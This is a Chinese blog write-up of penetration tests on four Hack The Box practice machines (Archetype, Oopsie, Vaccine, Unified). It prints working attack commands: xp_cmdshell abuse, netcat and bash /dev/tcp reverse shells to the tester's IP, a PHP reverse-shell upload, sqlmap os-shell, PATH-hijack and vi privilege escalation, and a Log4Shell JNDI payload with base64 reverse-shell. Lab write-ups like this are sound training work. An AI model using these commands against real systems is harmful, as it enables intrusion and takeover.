Hack the box -- 靶机渗透测试(TIER2)

Hack the box -- 靶机渗透测试(TIER2)

写在前面

本文针对Hack the box 靶机TIER2渗透过程进行记录。

Archetype

开启在线靶机,靶机IP为10.129.88.20。

  1. 端口扫描
    扫描命令 sudo nmap -sC -sV 10.129.88.20
    在这里插入图片描述
    在这里插入图片描述
    发现1443端口开启了smb服务,所以尝试使用smbclient连接。

  2. smbclient连接
    命令为:smbclient -N -L 10.129.88.20(-N表示无密码登录,-L可以查看服务器上可用服务)
    在这里插入图片描述
    通过查找发现在backups目录下存在一个配置文件prod.dtsConfig,将其下载本地进行分析。
    在这里插入图片描述
    从中发现用户名与密码为password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc。所以尝试使用其进行mysql数据库登录。
    在这里插入图片描述

  3. mssqlclient连接数据库
    工具:impacket
    下载地址:https://github.com/SecureAuthCorp/impacket
    在这里插入图片描述
    输入命令:mssqlclient.py ARCHETYPE/sql_svc@10.129.88.20 -windows-auth
    (-windows-auth:确认使用windows认证)
    在这里插入图片描述
    通过help 查看可用命令,发现可以使用cmd指令。
    在这里插入图片描述
    尝试执行cmd语句,发现由于安全配置,该命令被关闭。由上述可用命令发现 enable_xp_cmdshell可开启。
    在这里插入图片描述
    发现配置成功。
    在这里插入图片描述
    再次尝试执行cmd语句,执行成功。
    在这里插入图片描述

  4. 尝试建立稳定的反弹shell
    二进制文件下载地址:https://github.com/int0x33/nc.exe/blob/master/nc64.exe?source=post_page-----a2ddc3557403----------------------
    首先在本地开启http服务,sudo python3 -m http.server 80
    在这里插入图片描述
    开启监听端口
    在这里插入图片描述
    尝试使用powershell 的wget命令下载我们的反弹shell文件。
    在这里插入图片描述
    从我们的http服务显示中,目标主机发送了get请求,说明下载成功。
    在这里插入图片描述
    执行所下载的nc64.exe文件
    在这里插入图片描述
    监听端口成功收到反弹shell
    在这里插入图片描述

  5. 权限提升
    通过whoami命令发现当前用户为archetype\sql_svc,所以尝试提升权限。
    在这里插入图片描述
    工具使用:winPEASx64.exe
    下载地址:https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe
    同样是用powershell 的wget命令下载到目标主机。
    在这里插入图片描述
    在这里插入图片描述
    执行文件 .\winPEASx64.exe 发现powershell的历史文件consoleHost_history.txt中可能有线索。
    在这里插入图片描述
    打印文件,成功发现账户密码:administrator:MEGACORP_4dm1n!!
    在这里插入图片描述

  6. administrator 登录
    在这里插入图片描述
    在Administrator的桌面下成功找到Flag
    在这里插入图片描述

Oopsie

开启在线靶机,靶机IP为10.129.133.78。

  1. 端口扫描
    扫描命令 sudo nmap -sC -sV 10.129.133.78,发现目标主机开了22端口的ssh服务和80端口的http服务。
    在这里插入图片描述

  2. http服务查看
    打开页面,点击各个按钮与查看源代码后,发现没有连接到其他的url,所以尝试使用burpsuite进行隐藏目录查看。
    在这里插入图片描述
    在这里插入图片描述

  3. burpsuite目录查看
    发现该站点下有个cdn-cgi/login目录。
    在这里插入图片描述
    进入login页面查看,发现是个后台登录界面。再尝试弱密码如admin:admin root:admin和简单的sql注入发现无法登录。
    在这里插入图片描述
    发现还有一个选项 login as Guest,点击后页面如下,发现有个uploads选项。
    在这里插入图片描述
    点击后提示需要admin权限,所以尝试修改cookie。
    在这里插入图片描述

  4. cookie修改
    点击account,发现显示了ID和用户名,同时url变为了http://10.129.239.233/cdn-cgi/login/admin.php?content=accounts&id=2。尝试修改id值会回显什么。
    在这里插入图片描述
    将id=1后,页面返回了admin的信息。所以尝试修改cookie,以admin权限登录。
    在这里插入图片描述
    页面右键选择inspect element,cookies在storage菜单下。
    在这里插入图片描述
    在这里插入图片描述
    将value中的guest:2233修改为admin:34322,点击uploads,发现成功进入。
    在这里插入图片描述

  5. 上传reverse shell
    kali在**/usr/share/webshells/**目录下有相关的shell文件,选用PHP中的php-reverse-shell.php。首先需要对文件进行修改,将ip改为本机IP,端口改为想要监听的端口。
    在这里插入图片描述

在这里插入图片描述
然后需要找到uploads在哪个目录下,从而执行我们上传的文件。
通过gobuster进行目录爆破,执行命令:gobuster dir --url http://10.129.239.233/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php
在这里插入图片描述

发现就在uploads目录下,但是进入该目录下缺提示没有权限访问。
在这里插入图片描述
尝试是否可以直接运行该目录下的文件,首先开启监听端口
在这里插入图片描述

url输入http://10.129.239.233/uploads/php-reverse-shell.php,成功反弹shell。
在这里插入图片描述
使用**python3 -c’import pty;pty.spawn(“/bin/bash”)'**可以使得shell更加完整。
在这里插入图片描述

  1. 横向移动
    通过查找网站中的文件发现用户名与密码robert:M3g4C0rpUs3r!(说明:由于之前端口扫描发现使用的是apache,其默认路径为/var/www/html,所以优先寻找该目录下的文件)
    在这里插入图片描述

通过 cat /etc/passwd 命令查看当前是否存在robert用户,发现果然存在(倒数第二个)。
在这里插入图片描述
尝试切换用户,横向移动成功。
在这里插入图片描述
回到robert更目录找到user.txt
在这里插入图片描述

  1. 权限提升
    通过id 查看(显示用户的ID,以及所属群组的ID)。发现robert属于bugtracker。
    在这里插入图片描述
    通过find / -group bugtracker 2>/dev/null 命令查看bugtracker可以操作的文件。发现一个同名文件bugtracker。
    在这里插入图片描述
    发现该文件的所有者为root,且权限带有s,表示SUID (Set owner User ID)。说明该文件执行时是以所有者的身份(即root)运行的。
    在这里插入图片描述
    尝试使用该文件,提示输入bug id,这里随便输入一个1。
    在这里插入图片描述

再次输入一个数字,发现他是使用cat命令进行打印,如果没有该编号的报告就会报错。这里发现所使用的cat命令没有进行路径指定,所以可以尝试添加环境变量执行我们想要执行的cat
在这里插入图片描述
首先,在 /tmp目录下创建一个cat文件写入 /bin/sh,并添加可执行权限。
在这里插入图片描述
添加环境变量 tmp
在这里插入图片描述
再次执行bugtracker,且id填写任意id,权限成功提升为root。
在这里插入图片描述
在root文件夹下成功找到Flag
在这里插入图片描述

Vaccine

开启在线靶机,靶机IP为10.129.127.22。

  1. 端口扫描
    扫描命令:sudo nmap -sC -sV 10.129.127.22。开启21端口ftp服务、22端口的ssh以及80http服务
    在这里插入图片描述

  2. ftp连接
    输入命令:ftp 10.129.127.22,用户名为anonymous,密码为空,登录成功。发现有个名为backup.zip的压缩文件,下载到本地进行分析。
    在这里插入图片描述
    解压backup文件,提示需要password。在尝试弱密码失败后,使用john the ripper暴力破解。
    在这里插入图片描述
    先将backup.zip 哈希化。
    在这里插入图片描述
    输入命令 john -wordlist=/usr/share/wordlists/rockyou.txt hashes进行破解。破解密码为741852963
    在这里插入图片描述
    重新解压backup.zip文件,输入破解密码741852963,解压成功。
    在这里插入图片描述
    打印index.php,发现用户名与密码 admin:2cb42f8734ea607eefed3b70af13bbd3。
    在这里插入图片描述
    但是密码应该时被hash过,所以尝试破解。
    首先使用hashid判断类型,尝试用MD5破解。
    在这里插入图片描述
    写入文件hash.txt
    在这里插入图片描述
    输入命令:hashcat -a 0 -m 0 hash.txt /usr/share/wordlists/rockyou.txt 进行破解。破解结果为:qwerty789
    (参数说明:-a 表示攻击模式,0表示暴力破解;-m表示hash类型,0表示MD5)

  3. 登录后台
    输入admin:qwerty789尝试登录
    在这里插入图片描述
    登录成功
    在这里插入图片描述

  4. sql注入

在搜索框输入1后发现url变为http://10.129.154.151/dashboard.php?search=1,可能存在SQL注入。
在这里插入图片描述
工具使用:sqlmap
由于是登录后的界面所以需要正确cookies,否则无法访问。
在这里插入图片描述
执行命令:sqlmap -u ‘http://10.129.154.151/dashboard.php?search=any+query’ --cookie=“PHPSESSID=6r49qb1ev7u71hf74drkg9p0qq”
在这里插入图片描述
在这里插入图片描述
显示存在SQL注入,修改命令:sqlmap -u ‘http://10.129.154.151/dashboard.php?search=any+query’ --cookie=“PHPSESSID=6r49qb1ev7u71hf74drkg9p0qq” --os-shell 获取shell
在这里插入图片描述
成功获取shell。
在这里插入图片描述
为了使shell更加稳定和可交互,在本地开启监听服务
在这里插入图片描述
原shell执行:bash -c “bash -i >& /dev/tcp/{your_IP}/443 0>&1”
在这里插入图片描述
监听端口成功反弹shell(输入:python3 -c 'import pty;pty.spawn(“/bin/bash”)'使得shell可完整交互)
在这里插入图片描述
在这里插入图片描述
用户flag成功找到。
在这里插入图片描述

  1. 权限提升
    通过sudo -l 查看当前用户权限,发现需要密码。
    在这里插入图片描述

先看网站目录下有什么发现
在这里插入图片描述
在dashboard.php中我们找到了用户名与密码,postgres:P@s5w0rd!
在这里插入图片描述

  1. 重新输入sudo -l 密码输入P@s5w0rd!。发现postgres用户可以执行**/bin/vi /etc/postgresql/11/main/pg_hba.conf**
    在这里插入图片描述
    这里会发现shell会自动断开,由于我们知道了用户名与密码,所以我们尝试更加稳定的ssh连接。
    在这里插入图片描述
    尝试通过vi 建立shell(详情参考:https://gtfobins.github.io/gtfobins/vi/#sudo)
    输入:sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf -c ‘:!/bin/sh’/dev/null,提示没有权限。
    在这里插入图片描述
    所以先进入pg_hba.conf文件,输入:sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf。
    在这里插入图片描述
    然后键盘输入**: set shell=/bin/sh回车再输入:: shell**,成功获取root权限。
    在这里插入图片描述
    在这里插入图片描述

在这里插入图片描述
成功获取root Flag
在这里插入图片描述

Unified

开启在线靶机,靶机IP为10.129.208.78。

  1. 端口扫描
    扫描命令:sudo nmap -sC -sV 10.129.96.149
    在这里插入图片描述
    在这里插入图片描述

  2. 查看web页面
    输入10.129.96.149:8443,发现使用的使unifi 6.4.54的登陆界面。google unifi 6.4.54可以发现存在 CVE-2021-44228 漏洞。
    (详情参考:https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi)
    在这里插入图片描述

  3. 漏洞利用
    首先使用burpsuite设置浏览器代理。(注:此代理设置为firefox浏览器过程)
    找到“代理”选项,选择“设置”。
    在这里插入图片描述
    选择手代理配置,该ip地址与端口应与burpsuite一致(详情参考链接: link
    在这里插入图片描述
    在这里插入图片描述
    代理成功后,返回unifi登陆界面,开启burpsuite interception
    在这里插入图片描述
    在页面输入任意用户名密码(此处输入为test:test)
    在这里插入图片描述
    burpsuite成功拦截到流量信息为:
    在这里插入图片描述
    选择send to Repeater,或者快捷键 Ctrl+R。
    在这里插入图片描述
    修改remember字段的值为:“${jndi:ldap://{本机IP}/whatever}”点击send发送。Response显示"api.err.InvalidPayload",说明Payload被执行了只是不存在。
    在这里插入图片描述
    然后使用tcpdump开启389端口监听LDAP连接,
    在这里插入图片描述
    重新点击send。发现成功接收到LDAP连接信息。
    在这里插入图片描述

  4. 构建payload,实现远程代码执行
    工具使用:Open-JDK;Maven;rogue-jndi
    (下载命令:sudo apt install openjdk-11-jdk -y ;sudo apt-get install maven;git clone https://github.com/veracode-research/rogue-jndi)
    完成上述下载后进入rogue-jndi目录执行mvn package(注:需要科学上网,不然可能会编译失败)
    编译成功后会在生成RogueJndi-1.1.jar文件在 /target 目录下。
    在这里插入图片描述
    然后执行echo ‘bash -c bash -i >&/dev/tcp/10.10.16.5/1234 0>&1’ |base64(10.10.16.5为本机IP,1234为接受shell端口)
    在这里插入图片描述
    在rogue-jndi目录下,执行:java -jar target/RogueJndi-1.1.jar --command “bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuNS8xMjM0IDA+JjEK}|{base64,-d}|{bash,-i}” --hostname “10.10.16.5”在这里插入图片描述
    开启监听端口。
    在这里插入图片描述
    回到burpsuite,修改remember字段值为:“${jndi:ldap://10.10.16.5:1389/o=tomcat}”,点击send
    在这里插入图片描述
    此时我们开启的服务接收到信息
    在这里插入图片描述
    成功收到shell,输入:script /dev/null -cbash,使shell更加完整。
    在这里插入图片描述
    找到user.txt flag
    在这里插入图片描述

  5. 权限提升
    由于UniFi默认使用MongoDB作为数据库,所以我们先查看MongoDB是否运行。
    (详情参考:https://erikdekker.net/ubiquity/unifi/2020/05/09/reset-unifi-password.html)
    输入:ps aux | grep mongo,发现MongoDB运行在27117端口。
    在这里插入图片描述
    通过命令:mongo --port 27117 ace --eval “db.admin.find().forEach(printjson);查询到administrator相关信息,发现x_shadow字段很大概率是哈希加密过的密码,所以尝试破解。
    在这里插入图片描述
    通过hashid 发现其为SHA-512加密,尝试暴力破解失败。换一种思路,修改其x_shadow的值为我们设定的密码。
    在这里插入图片描述
    使用工具:mkpasswd
    输入命令:mkpasswd -m sha-512 Password1111
    在这里插入图片描述
    输入命令:mongo --port 27117 ace --eval 'db.admin.update({”_id":ObjectId(“61ce278f46e0fb0012d47ee4”)},{$set:{“x_shadow”:“ 6 6 6ts6U3ZTuaNvRemqd$rJQZh/.7SLFoLe5Wjh0xbnbkir82qY/lFuzUsUAJCrRcbjJQ/.SA/wxfM1PweMEBSYdFrrw4P3QFyrSoCBQHJ/”}})’
    再次输入mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);查看发现修改成功。
    在这里插入图片描述
    返回unifi登陆界面输入用户名密码:administrator:passwd1111,登陆成功。
    在这里插入图片描述
    通过查找发现在settings->site中允许ssh连接,并且得到用户名与密码root:NotACrackablePassword4U2022。
    在这里插入图片描述
    所以我们尝试以root用户登陆目标主机,登陆成功。找到root.txt Flag
    在这里插入图片描述

  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值